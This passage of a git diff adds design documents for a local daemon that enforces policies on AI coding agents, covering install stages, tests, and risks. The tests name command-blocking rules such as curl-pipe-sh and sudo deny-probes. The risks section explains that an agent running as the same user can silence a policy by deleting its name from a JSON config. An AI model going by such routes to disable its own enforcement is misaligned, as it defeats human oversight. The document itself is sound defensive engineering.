performing it. A crash mid-apply leaves a journal that the next `setup` or `doctor` offers to roll back or resume — the same recovery idiom as the catalog activation transaction, so the product has one, not two. There is no account to create, no ownership split to apply, and no elevation to acquire, so the journal is short; it exists for the harness settings files and the service registration, which are the steps that can leave a machine half-configured. + +Three unit settings do real work rather than decoration. `RuntimeDirectory=failproofai` recreates the socket directory with the correct owner on every start, since `$XDG_RUNTIME_DIR` is tmpfs. `Type=notify` makes `systemctl --user start` block until the socket is bound *and* the last-known-good generation is loaded, so setup's readiness check is a second independent verification rather than the only one. And `ProtectHome=` is **explicitly left unset**, which is worth stating because every systemd hardening guide recommends `yes` and it would break the product outright: capture reads `~/.codex/sessions` and the other five source roots, and `user-context` policies read the user's repository. + +The `XDG_RUNTIME_DIR` fallback is a required path, not a defensive one. `pam_systemd` sets the variable for a login session and a plain `ssh` invocation on several distributions does not, which is exactly the shape of a remotely driven agent run. + +**Exit** — each of these is a test, not a review item: setup completes on an image with no `sudo` installed; a before/after `find` diff shows nothing written outside `~/.failproofai/`, `~/.agenteye/`, the service-manager directory, and the harness settings files, and specifically nothing under `/opt`, `/var/lib`, `/etc`, or `/Library`; the daemon binds and serves with `XDG_RUNTIME_DIR` unset; a peer that is not the socket's owner is refused; setup run twice yields one unit file and zero duplicate hook entries; a machine with no service manager completes setup and reports `unsupervised`; and a forced failure at each journal step restores the prior state bit-for-bit, verified by a `find`-based owner and mode manifest taken before and after. + +--- + +## Stage 4 — native client and catalog + +The native hook client (`crates/failproofai-cli`) ships; `integrations.ts` learns a second command form alongside `npx -y failproofai --hook …`; the per-adapter lockfile lands *before* the Rust reconciler exists, so the single-writer invariant is never violated even briefly. + +**The `user-context` worker.** The daemon spawns it directly, because the daemon is already the user — the same fact that deleted the per-user agent from this plan. Worker lifetime is [open decision #10](../06-delivery-plan.md#open-decisions): a resident worker pays no cold start but inherits the state-leakage hazard the Stage-1 soak test exists for, and a per-event worker inverts both. Whichever wins, the enforcement path must not depend on a worker being up — a policy that fails to evaluate because its worker was not running is enforcement disappearing silently, which is the failure this product exists to prevent. The daemon starts one on demand within the remaining deadline and returns the client to in-process evaluation if it cannot. + +**Capture needs nothing extra.** The daemon opens `~/.codex/sessions` and the other five roots directly, `inotify`s them, and attaches to the SQLite-backed ones in WAL mode. Checkpoints live in the collector's existing `~/.agenteye/` layout, adopted in place. + +**Admission** runs in the CLI, as the user, with no elevation. `oxc_resolver`, `oxc_parser`, and `oxc_transformer` walk the import graph, derive the tier from what they find, and emit a **module map, not a bundle** — the sealed loader becomes a `HashMap` lookup with no filesystem reachable from it at all. That avoids bundler edge cases around circular imports and live bindings, and it deletes `loader-utils.ts` and its per-tool-call temp file from the daemon path entirely. + +The signed schema catalog lands here too, and the native response matrix moves out of JavaScript into catalog `response_encodings` data with a closed substitution set, pinned byte-for-byte by the parity fixtures. Only now — with parity proven — is that safe. + +**Exit:** end-to-end p95 beats the Stage-0 baseline on every CLI; a `user-context` result can tighten a `sealed` deny and never relax it, property-tested rather than exampled; a policy that under-declares fails *inside* sealed and trips its circuit breaker; native addons route to `user-context`; evaluation writes no file next to any policy source, asserted by watching the directory during a full corpus run; and `policies explain` names the resolved import that caused a `user-context` routing. + +--- + +## Stage 5 — the daemon does capture + +**Blocked on an external dependency.** `agenteye-collector` is a separate repository, not present here. [06-delivery-plan.md](../06-delivery-plan.md) requires extracting its conformance tests *before* touching its code, which is work in a repo this plan cannot reach. Vendoring that conformance corpus into `__tests__/fixtures/collector/` is an explicit prerequisite, and so is confirming its **on-disk `~/.agenteye/` layout**, because the daemon adopts that tree in place rather than defining one of its own. Phase 1 cannot be declared complete without both. + +Rust owns the spool, checkpoints, delivery, quotas, and quarantine; the daemon's JavaScript worker reuses `lib/*-sessions.ts` verbatim rather than porting twelve transcript parsers. In Rust the daemon uses `rusqlite` in WAL read mode at the user's own UID — which it simply has, running as the user — removing `sqlite-reader.ts`'s two-tier fallback and the checkpoint lag along with it; today, on Node below 22.5, Hermes/Devin/Goose/Antigravity data is stale by up to one WAL checkpoint. + +The durability unit is the **batch**, not the record; a per-record fsync is unaffordable at capture rates. Ordering: write `.tmp`, `fsync` the file, rename, `fsync` the directory; send with an `Idempotency-Key`; write the tombstone, `fsync` it, `fsync` its directory; **then** unlink the payload and `fsync` again. Compact tombstones only past a monotonic watermark plus a retention window. No transition depends on atomic rename alone for power-loss durability. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/02-verification.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/02-verification.md new file mode 100644 index 00000000..59d77b7d --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/02-verification.md @@ -0,0 +1,105 @@ +# Verification + +Seven layers. The full-stack Docker gate is the primary acceptance evidence; everything above it exists to make failures cheap to localize when that gate goes red. + +--- + +## L0 — Rust unit tests + +`cargo test --workspace`, with `proptest` wherever the invariant is algebraic rather than exemplary: + +- **Framing** (`fpai-ipc`) — length-prefix round-trip, truncation, oversize rejection, version-mismatch handshake. +- **Canonicalization** (`fpai-canon`) — every per-CLI event map is total over `HOOK_EVENT_TYPES`. +- **The combination lattice** (`fpai-policy`) — `deny` over `instruct` over `allow` is associative, commutative, and idempotent; the combined result equals the maximum under that ordering; and **adding any number of `user-context` results never lowers a `sealed` deny**. That last property is the formal statement of the product's decision semantics — adding a policy can only tighten — and it deserves a property test rather than three examples. Attestation combines the same way, as a maximum under `sealed < sealed_unattested < user_context`, so a decision is never reported as depending on less than it did. +- **The watchdog** (`fpai-policy`) — a policy body that loops or backtracks past its deadline is interrupted, reported as a deadline miss, and distinguishable from a policy that threw. `block-curl-pipe-sh` against 80 KB of repeated `curl ` prefix is the fixture, because it is real, default-enabled, and took 30 seconds against a 200 ms deadline before the watchdog existed. + +## L1 — TypeScript unit tests + +All 144 existing files stay green through Stage 5. The legacy evaluator is the reference implementation, so weakening its tests weakens the oracle. New additions: `check-versions.test.ts`; manifest verification (valid, one flipped byte, wrong key, rotated key inside and outside its validity window, replayed older release ID, `min_bootstrapper` too high, artifact digest mismatch); and platform detection (Windows yields the deferred message, musl is refused, unknown arch is refused, all four supported combinations produce the exact artifact name). + +## L2 — the parity harness + +This is the centerpiece, because `policy-evaluator.ts` encodes roughly a dozen mutually incompatible native response contracts: Cursor's flat `{permission, user_message, agent_message}` with `followup_message` on Stop only and a `{continue:false}` special case on `UserPromptSubmit`; Copilot, where exit 2 is never a deny channel and `agentStop` needs `{decision:"block"}`; Factory, which ignores JSON on tool events and requires exit 2 *except* on Stop; Antigravity's `{decision:"continue"}` on Stop; Goose, which honors deny on `PreToolUse` only. **Byte-exactness is the only assertion that catches a reimplementation that is "semantically equivalent" and silently allows.** + +Mechanics: per fixture, run the TypeScript reference through the **existing** `__tests__/e2e/helpers/hook-runner.ts` — do not fork it, a forked helper is a second implementation of the oracle — then run the Rust client against a daemon on a temp root with identical policy configuration, and assert byte-exact `exitCode` and `stdout` plus normalized `stderr`. Normalization is an **allowlist** of JSON pointers (request and decision IDs, timings), so a *new* field is a failure rather than a pass. + +Also assert that the `enforcement-capability.ts` labels match the Rust adapter descriptor per CLI per event. This is what prevents reporting a deny as enforced when the harness actually ignores that event. + +## L3 — service lifecycle + +`.github/workflows/service-lifecycle.yml`. Linux legs under `podman run --systemd=always` across `debian:12`, `ubuntu:24.04`, `fedora:41`, and `rockylinux:9` — podman's systemd support avoids `--privileged` and the cgroup-mount dance, and the leg then drives `systemctl --user` inside a real user session. macOS legs on `macos-15` and `macos-15-intel`, where `launchctl bootexec gui/$UID` genuinely works. + +Because the install is unprivileged, this layer asserts a different class of thing than it used to. There is no ownership split to prove and no boundary to probe; what can go wrong now is the install writing somewhere it should not, the socket landing somewhere the daemon cannot bind, or the service failing to come back. + +Positive assertions: the service is active and its process owner is the invoking user; the unit file is at `~/.config/systemd/user/failproofaid.service` (or `~/Library/LaunchAgents/`) and nowhere else; the socket directory is recreated by `RuntimeDirectory=` across stop and start; the daemon binds under `~/.failproofai/run/` in an environment with `XDG_RUNTIME_DIR` unset; setup run twice yields one unit file and zero duplicate hook entries; and the service returns after a simulated logout/login, with and without `loginctl enable-linger`, the linger-off case asserting the *documented* behavior rather than a surprise. + +Negative assertions — each maps to a sentence in the design docs: + +``` +image has no sudo installed; setup --non-interactive → exits 0 +find / -newer , excluding $HOME and /tmp → empty + (specifically: no /opt/failproofai, /var/lib/failproofai, + /etc/failproofai, /Library/*/failproofai) +grep -R 'sudo' over the shipped release tree → no invocation +a second unprivileged user connects to the first's socket → refused +setup --service-scope managed | system → deferred-scope error, machine unchanged +uninstall, then find under $HOME → delivery key gone, policies kept +a running daemon killed with -9 mid-hook → the hook still denies, via in-process fallback +``` + +The `find` assertion is the one that replaces the whole old ownership golden table, and it is stronger than what it replaces: the previous version asserted that specific paths had specific owners, and this one asserts that no path outside the user's tree was created at all. + +Fault injection: `FAILPROOFAI_FAULT=step:` forces a failure at each journal step. Take a `find`-based owner and mode manifest before setup and after rollback, and assert they are identical — bit-for-bit restoration, not "looks fine". + +## L4 — spool and catalog fault injection + +`crates/fpai-spool/tests/` behind a `fault-injection` feature, with an `Fs` trait so **every fsync, rename, and unlink call site is individually addressable by name**. For each fault point: kill there, restart, and assert no acknowledged record was lost, no duplicate backend event was created, replay reuses the same stable ID, and the recovered state is exactly the previous set or the candidate set, never a mixture. + +Plus one test that is not a mock: run the daemon under `strace -f -e trace=fsync,fdatasync,rename,unlink` and **assert the syscall ordering** matches the documented sequence. This is cheap and it catches the single most common real bug in this class — the forgotten directory fsync, which no unit test with a mocked filesystem will ever notice. Apply the identical treatment to catalog activation. + +--- + +## L5 — the full-stack acceptance gate + +`integration-suite/full-stack/docker-compose.yml`, runnable identically on a laptop and in CI. + +| Service | Contents | +|---|---| +| `agenteye-stub` | Contract-faithful `events:add` ingest: bearer authentication, `Idempotency-Key` deduplication, batch acknowledgements, injectable 4xx/5xx/timeout, and a `/_test/received` endpoint the assertions read. | +| `machine` | `debian:12` with systemd available so a user session and `systemctl --user` exist, node and npm only — no bun, no Rust, no repository checkout, no prior FailproofAI state, **and no `sudo` installed at all**. A single unprivileged `canary` user runs both the install and the agents. | + +**The existing `integration-suite/` image can be reused here, and that is now a feature.** Its safety property is that `sudo whoami` deny-probes are inert *by construction* because the image has no sudo installed — which used to collide with a scope requiring root, and now agrees with it perfectly. The same image proves the deny-probes are inert and that the installer never needed elevation. + +`probe-cli.sh` needs no change at all. Its assertion is "the hook log shows a DENY", and the hook log is written by whichever evaluator answered — which is precisely the comparison worth making. + +### What `run-acceptance.sh` asserts, in order + +1. **Install.** `setup --non-interactive --json` exits 0 as `canary` on an image with no `sudo`; the service is active; the process owner is `canary`; a before/after `find` diff shows nothing written outside `~/.failproofai/`, `~/.agenteye/`, `~/.config/systemd/user/`, and the harness settings files. +2. **Enforcement across twelve CLIs.** Reuse `probe-cli.sh`; every deny probe denies. +3. **Sealed tier.** `block-sudo` denies and `policies explain` reports `tier: sealed`; a full corpus run writes no `.__failproofai_tmp__.mjs` anywhere under the policy directories, asserted by watching them for the duration. +4. **`user-context` tier.** A custom policy importing `node:fs` is admitted to `user-context`, runs, and tightens a result. +5. **Deadline.** A policy crafted to run past its deadline is interrupted, reported as a deadline miss rather than an evaluation failure, and the next event on the same lane is served normally. +6. **Fallback.** `kill -9` the daemon and re-run the deny probes: every one still denies, through in-process evaluation, and health reports the daemon down. This is the assertion that the daemon is an optimization and not a single point of enforcement failure. +7. **Capture, spool, delivery.** Drive the CLIs, assert the stub received the sessions, assert the state was read and written under `~/.agenteye/` in its existing layout, and assert that enforcement decisions and captured sessions **join on stable identifiers** rather than by heuristic matching after the fact. +8. **Offline durability.** Stop the stub; watch the spool grow; `kill -9` the daemon mid-flight; restart; start the stub; assert zero loss, zero duplicates, and correct `strace`-observed fsync ordering. +9. **Dashboard.** `failproofai dashboard start` binds loopback on an ephemeral port, rejects a missing token and a mismatched `Origin`, leaves no pidfile after TTL expiry, and appears in no service manager. +10. **Schema catalog.** Serve a deliberately bad generation; assert rollback to the previous catalog *and* the previous registration, without restarting the daemon. +11. **Uninstall.** The unit is gone, the delivery key is erased — asserted offline too — and user policy files survive. `--purge` enumerates before deleting. +12. **npx cache.** `rm -rf ~/.npm/_npx`, re-run the synthetic hook, still denies. +13. **Two users.** A second unprivileged user installs their own daemon: each socket refuses the other's peer, each `Query` returns only its owner's data, and neither dashboard collides on a port. + +### Two legs that must be asserted, never skipped + +**No-service-manager leg.** The same image with the default PID 1 and no systemd. `setup --non-interactive --json` must exit **0**, start the daemon directly, and report `supervision: unsupervised` in `health --json`; the deny probes must still deny, and must still deny after the daemon is killed. This is the design's most easily-skipped requirement and therefore the one that most needs a positive test — the previous plan asserted a refusal here, and asserting the opposite outcome is exactly how a stale expectation gets caught. + +**Tamper leg.** With `FAILPROOFAI_RELEASE_BASE_URL` pointed at a stub: one flipped byte in the tarball, and a valid tarball whose manifest is signed by a different key. Both must refuse **before anything is written into `~/.failproofai/versions/`**, and `current` must still point at the previous release, which is what proves the bootstrapper never executes or activates an unverified native artifact. + +### CI wiring + +`.github/workflows/full-stack.yml` runs the install leg plus both negative legs on **every PR** — hermetic, no credentials, no forks blocked. The credentialed twelve-CLI leg joins the existing nightly `integration-suite.yml` matrix as a new `evaluator: [legacy, daemon]` dimension, advisory until Stage 4 and gating after, mirroring the graduated pattern the `beta` channel already uses. + +`report.js` gains a state so that "denies under legacy, allows under daemon" is reported as a **parity regression**, distinct from a vendor break. That distinction is the strongest available evidence for authorizing the Stage 5 default flip. + +## L6 — latency + +`.github/workflows/bench.yml`, nightly, `hyperfine`, 500 iterations per CLI, comparing the legacy cold start against the warm daemon and reporting p50/p95/p99 to the job summary. Soft gate: Rust p99 at or below legacy p50. This converts open decision #1 from a guess into a measurement before anyone has to commit to a number. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/03-risks-and-amendments.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/03-risks-and-amendments.md new file mode 100644 index 00000000..ef19ec5a --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/03-risks-and-amendments.md @@ -0,0 +1,61 @@ +# Risks and design-doc amendments + +## The scope decision, and what it superseded + +v1.0.0 ships **user scope only**. The daemon, the CLI, configuration, policies, and state all belong to the invoking user; there is no `_failproofai` service account, no root-owned surface, no privileged installer, and no `sudo`. [Deferred scopes](../04-service-and-updates.md#deferred-scopes) records the service-account and root designs so either can be added later. + +The consequence that matters most here is that **the `sealed` tier no longer carries a verdict-integrity claim**. The governed agent and the daemon are the same UID, and no arrangement of one user's processes protects them from each other. What the tier buys instead is a warm evaluator, no temp files beside the user's source, an enforceable deadline, and containment of a buggy or over-reaching policy. Two of the six amendments below existed only to shore up the boundary that is now deferred; they are marked superseded and kept, because the reasoning is exactly what a future `managed` scope needs and deleting it would mean rediscovering it. + +## Amendments folded into the design set + +Six places where the design set was incomplete or stated something that was not true. **Four remain folded into the documents one directory up; two were superseded by the scope decision above.** This section is kept rather than deleted because the corrections read as ordinary design once they are in place, and the reason each one exists — the specific failure it prevents — is the part that does not survive being merged into surrounding prose. What follows records what was wrong, what replaced it, and where. + +**1. macOS codesigning and notarization were absent from all eight documents.** Still applies in full. A LaunchAgent is signed and notarized for the same reasons a LaunchDaemon is: `codesign --verify` fails for any MDM-managed fleet whose profile requires a Developer ID identity, Gatekeeper assesses a downloaded binary at first launch however it is registered, and an unstapled ticket makes that assessment a network call on a machine this design promises can be offline. (The sharpest form of the failure — macOS 15 terminating an unsigned `failproofaid` outright — belongs to the LaunchDaemon a deferred scope would register, which is where it was found.) + +*Folded into* [07-release-and-packaging.md](../07-release-and-packaging.md#code-signing-and-notarization) as its own section: Developer ID signing with `--options runtime` and `--timestamp` on both binaries *and* the vendored runtime, inner Mach-O before archive; `com.apple.security.cs.allow-jit` for a JIT-based pinned runtime, tied to the same constraint that decides the systemd unit's `MemoryDenyWriteExecute`; `notarytool submit --wait` then `stapler staple`, with the manifest digest computed after stapling; and a defensive `xattr -dr com.apple.quarantine` on the extracted tree. The signing steps are in the pipeline's assemble-and-sign list, four acceptance criteria cover them, and [04-service-and-updates.md](../04-service-and-updates.md#service-model) points at the section from the LaunchAgent row, since that row does not work without it. + +**2. ~~Protected enablement must come from root-owned `machine.json`.~~ Superseded by the scope decision.** The finding was correct and is worth keeping: enablement lives in the user-writable merge of `.failproofai/policies-config.json`, so a generation that takes its enabled set from there can be silenced by deleting a name from a JSON array — no forgery, the policy is simply never reached. Under the `managed` scope that made an unforgeable verdict nearly worthless on its own, which is why the two must ship together. + +In user scope there is nothing for it to protect. `policies-config.json` is the user's file, merged across project, local, and user scope exactly as the product reads it today, and it is authoritative. The daemon evaluates the client's resolved set — not as a compromise but because that set *is* the answer, and a daemon-supplied default list was measured silently dropping 19 builtins plus every custom and convention policy. [03-daemon-architecture.md](../03-daemon-architecture.md#the-enabled-set-is-the-users-configuration) states it that way; the `machine.json` design survives in [deferred scopes](../04-service-and-updates.md#deferred-scopes) as one of the things a `managed` install would buy. + +**3. `home` is daemon-derived; `cwd` and `project_dir` are client-asserted.** Still applies, with a plainer justification. The docs treated request context as uniform. `home` must come from `getpwuid_r(peer_uid)` because the daemon can compute it correctly from the connection while the client cannot be relied on to, and because `isAgentInternalPath` and `block-read-outside-cwd` both *widen* the allow set — so a wrong home does not fail, it quietly permits more. + +*Folded into* [03-daemon-architecture.md](../03-daemon-architecture.md#derived-and-asserted-context) as **Derived and asserted context**, including the three-value attestation and the maximum rule that keeps a combined result from being reported as more attested than its weakest input. [02-harness-integration.md](../02-harness-integration.md) carries `host` in the envelope, provenance in the canonical event model, and `attestation` in the response; 01 reports it from `policies explain`. In this release the attestation is provenance rather than integrity — it says what a decision depended on and where it ran — and it becomes an integrity claim unchanged under a deferred scope. This one is **implemented and enforced** — a client-asserted `home` is a protocol error, not a correction — so the documents say so, and point at [`crates/PROTOCOL.md`](../../../../crates/PROTOCOL.md) as the wire contract of record. + +**4. ~~The per-user agent's unit file necessarily lives in a user-writable home.~~ Superseded: there is no per-user agent.** The agent existed for exactly one reason — a service account cannot traverse a `0700` home, cannot `inotify` it, and cannot attach to a live WAL SQLite database inside it — and running as the user removes all three. The daemon opens the transcripts, watches them, and attaches to the databases itself. The exception this amendment documented, and the "setup must drop privileges to write the unit file" rule that followed from it, are both gone with it; the daemon's own unit file lives in the user's home because *everything* does. + +The observation underneath it survives and is worth carrying into any future `managed` design: a user service manager reads its definitions from a user-writable directory by construction, so a privileged install that delegates work to a per-user process cannot claim that process is tamper-resistant. + +**5. The socket directory is created by different mechanisms per platform.** Still applies, one level down. A systemd user unit's `RuntimeDirectory=` recreates `$XDG_RUNTIME_DIR/failproofai` on every start because that path is tmpfs; launchd has no equivalent, so on macOS the directory persists under `~/.failproofai/run/`. Describing it as one thing is how a macOS install ends up expecting a directory nobody created. User scope adds a third case the system-service version never had: `XDG_RUNTIME_DIR` is unset over a plain `ssh` invocation on several distributions, so the `~/.failproofai/run/` fallback is a required path rather than a defensive one. + +*Folded into* [04-service-and-updates.md](../04-service-and-updates.md#service-model), where the two service managers are compared, with the daemon asserting the directory's existence, owner, and mode before binding on both platforms rather than trusting either mechanism. [03-daemon-architecture.md](../03-daemon-architecture.md#the-socket-directory) gives the full three-row table, [07-release-and-packaging.md](../07-release-and-packaging.md#installation-layout) gives the layout, and 04 gained acceptance criteria for both the reboot case and the unset-variable case. + +**6. Open decision #3 gates the release manifest schema, the SBOM, and the entitlements file.** Still applies. It sat on the release critical path, earlier than [06-delivery-plan.md](../06-delivery-plan.md) implied. + +*Folded into* 06: #3 is now scoped to the `user-context` runtime (the sealed engine being settled and shipped), states the three artifacts downstream of it, and is listed as a Stage 0 item; #7 names the Developer ID and `notarytool` custody as the long-lead item it is. [07-release-and-packaging.md](../07-release-and-packaging.md#code-signing-and-notarization) and [04-service-and-updates.md](../04-service-and-updates.md) both point back at #3 from the entitlements and `MemoryDenyWriteExecute` decisions that wait on it. + +--- + +## Top risks + +**Removing `prepare` publishes an empty package.** `.github/workflows/publish.yml` has no build step and depends entirely on the `prepare` lifecycle script to populate the gitignored `dist/` and `.next/standalone/`, both of which are in the `files` allowlist. The removal and the workflow's new build step must land in the same PR, verified by `npm pack --ignore-scripts`, unpack, and `failproofai --version` in a clean container. + +**Warm-worker state leakage produces wrong verdicts, not crashes.** Every hook today runs in a fresh process, so the `globalThis` policy registry, the memoized policy index, the cwd-keyed git-branch cache, and every hoisted `/g` regex start clean. A resident sealed worker changes all of that at once. The Stage-1 soak test — the full corpus twice through one worker, then once in randomized order — is the entire mitigation, and it is cheap. + +**"The daemon isn't faster" could kill the project mid-flight for the wrong reason.** Through Stage 3 the client is still `bin/failproofai.mjs` under Node or bun, so 40–80 ms of process startup dominates and masks the win. The real Stage 1–3 gain is removing the per-invocation config read and policy load — which today writes temp files next to the user's source on every tool call. State that explicitly, and gate the end-to-end latency target at Stage 4, when the native client lands, rather than at Stage 1. + +**This risk is sharper now that the daemon is not a privilege boundary.** Latency, the temp-file removal, the enforceable deadline, and the sandbox are the *entire* case for it; there is no security argument to fall back on if the numbers disappoint. Measure early, and be willing to say so. + +**Skipping P1 yields an empty sealed tier.** All 39 builtins currently share a module that imports `child_process`, so import-graph tier derivation would route every one of them to `user-context`. The result is an architecture that looks implemented while every event still spawns a worker and every default-enabled policy still runs outside the interruptible engine — the whole benefit, silently absent. This is the least visible failure mode in the whole plan. + +**The old claim outliving the old design.** Two years of design prose, a shipped protocol document, and every reviewer's mental model describe `sealed` as unforgeable. That claim is false in user scope, and the way it comes back is not a deliberate decision — it is a health field, a marketing line, or a `policies explain` string written by someone working from the previous draft. The mitigation is mechanical: a test over shipped user-visible strings rejecting "tamper", "unforgeable", and "cannot be modified", and an acceptance criterion in [01-user-experience.md](../01-user-experience.md) that says so. + +**Two writers to harness settings files.** A user running `failproofai policies --install` while the Rust reconciler repairs the same file will clobber one side. The single-writer invariant plus a per-adapter lockfile landed at Stage 4 — *before* the reconciler exists — plus a deliberate concurrency test under contention. + +**Corpus determinism.** If the parity corpus is generated before P1 and P2 land, it bakes in machine-specific paths and becomes worthless. The generator must assert that no subprocess-spawning or filesystem-writing policy was reached. + +**`agenteye-collector` is not in this repository** and blocks Stage 5. Vendoring its conformance corpus is a prerequisite, not a step — and so is confirming its on-disk `~/.agenteye/` layout, because the daemon adopts that tree in place. A layout guessed from a description and a layout read from the code differ in exactly the places that strand a user's undelivered data. + +**The daemon stops when the login session does.** A systemd user service without `loginctl enable-linger` exits with the last session, so a host driven over `ssh` or by cron has no daemon on the next unattended run. Enforcement survives — the hook client evaluates in process — but capture does not, and "capture silently stopped on the build box" is a bug report nobody will trace to a login session. Setup must say it, and health must distinguish "not installed" from "installed and not running". + +**Signing key custody is the long-pole non-code item.** It gates release, not development, so start it during Stage 0 in parallel with engineering rather than discovering it at the release gate. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/README.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/README.md new file mode 100644 index 00000000..f49296ef --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/README.md @@ -0,0 +1,53 @@ +# Phase 1 implementation plan + +Status: Approved + +Scope: [Phase 1 — local enforcement plane](../README.md) + +The design documents one directory up say *what* Phase 1 is and *why*. These say how it gets built, in what order, and how each step is proven before the next one starts. + +## Documents + +1. [Stages](./01-stages.md) — the six stages, each with entry and exit gates. +2. [Verification](./02-verification.md) — the test strategy per layer, and the full-stack Docker acceptance gate. +3. [Risks and design-doc amendments](./03-risks-and-amendments.md) — what can go wrong, and the record of six corrections since folded into the design documents, two of which the user-scope decision superseded. + +## What problem the sequencing solves + +Today every agent hook event spawns a fresh Node/bun process that re-reads configuration, dynamically imports user policy files — writing `.__failproofai_tmp__.mjs` temp files next to the user's source on *every tool call*, via `src/hooks/loader-utils.ts` — evaluates, and exits. + +Three things are wrong with that, and all three are fixed by the same move. It pays a process start and a full policy load per tool call. It writes into the directory it is inspecting, on every event, forever. And its deadline is unenforceable: a synchronous policy body cannot be interrupted from inside itself, so a default-enabled builtin whose regex backtracks quadratically simply hangs until the harness gives up, with no diagnosis and no record. + +Phase 1 replaces it with a resident daemon running as the same user, holding a warm sandboxed evaluator behind an out-of-band watchdog. **It is not a privilege boundary and this plan never treats it as one** — the governed agent and the daemon are the same UID, so the daemon is faster, quieter, and interruptible, not unforgeable. [Deferred scopes](../04-service-and-updates.md#deferred-scopes) is where the boundary version lives. + +The risk is that "rewrite the enforcement plane" is exactly the kind of project that produces a silent-allow regression across twelve vendor CLIs, each with its own incompatible response contract. So the plan is built around one idea: **the existing TypeScript implementation is not replaced, it is promoted to oracle.** It stays in the tree, keeps its tests, answers when the daemon cannot, and is the thing every new implementation is diffed against byte-for-byte. Because it runs as the same user with the same configuration, it is also a permanently acceptable answer rather than a deprecation target — falling back to it costs latency and the sandbox, and no correctness property. + +## Settled decisions + +| Decision | Choice | Why | +|---|---|---| +| Service scope | **`user` only** | Everything runs as the invoking user out of `~/.failproofai/` and `~/.agenteye/`. No service account, no privileged install, no `sudo`. It costs the verdict-integrity claim, which this plan therefore never makes; a `managed` scope is designed and [deferred](../04-service-and-updates.md#deferred-scopes). | +| Sealed JS engine | **QuickJS-ng via `rquickjs`**, gated by a Stage-0 spike | ~1 MB against V8's +30–45 MB on each of four tarballs `npx` downloads. An interruptible interpreter is what makes the deadline real, deny-by-default is structural rather than a syscall filter, and a fresh context per evaluation costs microseconds, so no state crosses evaluations. | +| Builtins ported to Rust? | **No.** All 39 stay JavaScript, inside the sealed engine | The tier is defined by absent bindings, not by language. Porting does nothing for user-authored policies (the actual compatibility promise), and the `regex` crate cannot express the lookbehind in `extractAbsolutePaths`. | +| Where the enabled set comes from | **The client's resolved merge**, and it stays that way | `policies-config.json` merged across project/local/user is what the product reads today and it is the user's file. A daemon-supplied default list silently dropped 19 builtins plus every custom and convention policy the moment the daemon answered. | +| Distribution | **npm bootstrapper + independently-signed tarballs** | `optionalDependencies` platform packages collapse the two trust layers into one, move a ~40 MB download from `setup` to dependency resolution, and reproduce the esbuild silent-missing-binary failure under `--omit=optional`. `packages/` is never created. | +| Native response rendering | JS in the sealed worker first; catalog data at Stage 4 | Same endpoint, sequenced by risk. `policy-evaluator.ts` is preserved byte-for-byte until parity is proven. | +| Rust location | This repo, Cargo workspace at the root | Both implementations must consume the same fixture bytes. A second repository makes that a permanent submodule-sync problem. | +| Full-stack delivery target | Contract-faithful **stub ingest server** | Hermetic, no credentials, gates every PR. A real-server leg is added when an image is available. | + +## The Rust / TypeScript boundary + +**Rust owns ordering, privilege, durability, and deadlines. JavaScript owns matching a vendor's or a user's semantics.** + +Stays TypeScript — and is deliberately *not* forked, because it doubles as the parity oracle and the daemon-unavailable fallback: + +| Area | Why it must not be ported | +|---|---| +| `src/hooks/builtin-policies.ts` | 39 policies whose exact semantics are encoded in 4,006 lines of tests. | +| `src/hooks/policy-evaluator.ts` | The per-CLI native response matrix — twelve mutually incompatible contracts, each annotated with the vendor version it was verified against. A "semantically equivalent" reimplementation is a silent-allow generator. | +| `src/index.ts`, `custom-hooks-registry.ts`, `policy-helpers.ts` | The six-symbol public API *is* the user contract. | +| `src/audit/**` | `replay.ts` imports `evaluatePolicies` directly; removing the JS evaluator breaks `failproofai audit` outright. | +| `manager.ts`, `configure-wizard.ts`, `tui.ts`, `install-prompt.ts` | [01-user-experience.md](../01-user-experience.md) requires reusing this wizard rather than building a second installer UI. | +| `integrations.ts` write paths, `lib/*-sessions.ts` | Comment-preserving YAML, twelve settings-file transforms, twelve transcript parsers. Reused inside the agent's JS worker. | + +Is Rust: framing, IPC, peer credentials, lanes, deadlines, and quotas; canonicalization, code-generated from `types.ts`; generation lifecycle, admission, import-graph resolution, and content addressing; worker supervision and the evaluation watchdog; the spool state machine; watchers and reconciliation; the installer and user-service registration; and a **minimal failure-mode encoder subset** — one row per `(cli, event)`, used only when the sealed worker is circuit-broken. That subset is the only response logic that exists twice, and it is generated from the same corpus as everything else. diff --git a/desgin-docs/v1.0.0/phase-2-cloud/01-login-and-enrollment.md b/desgin-docs/v1.0.0/phase-2-cloud/01-login-and-enrollment.md new file mode 100644 index 00000000..9ace0041 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-2-cloud/01-login-and-enrollment.md @@ -0,0 +1,148 @@ +# Login, machine identity, and enrollment + +Phase 1 needs no FailproofAI organization and no machine identity. This document adds both, and nothing here may change how a Phase 1 machine behaves until its owner deliberately enrolls it. + +## What connecting adds + +Enrolling adds centrally assigned policy, fleet health, analysis, staged rollout, and organization audit. It does not remove or subordinate anything: builtin policies, explicit custom files, convention discovery, local scopes, the local dashboard, local audits, and the machine's existing capture and delivery configuration all keep working exactly as they did, and a connected machine still evaluates every decision locally. + +The connected workflow is: + +1. inspect FailproofAI sessions, findings, or analysis; +2. create or select a policy; +3. choose organization, environment, machine, agent, or session targets; +4. deploy in observe mode; +5. inspect matches and would-block decisions; +6. promote the same policy revision to enforce mode; +7. expand, pause, expire, or roll back the assignment. + +The daemon reconciles these changes automatically. A user does not run a sync command after a cloud change. Assignment semantics, precedence, and rollout controls are in [cloud policy management](./02-cloud-policy-management.md). + +## Setup + +Phase 2 inserts steps into the Phase 1 setup flow rather than replacing it. The Phase 1 steps — preflight, integrations, policies, observability, install, verify, report — stay in the same order and keep the same meaning. + +The mode choice comes first, because it determines whether the enrollment steps run at all: + +```text +◆ How do you want to use FailproofAI? + + ❯ Login Local policies + Failproof Cloud, centralized policy management, + machine/agent/session targeting, fleet health, and cloud sync. + + OSS No organization or cloud required. Builtin and custom policies, + convention discovery, session capture, local activity/dashboard, + 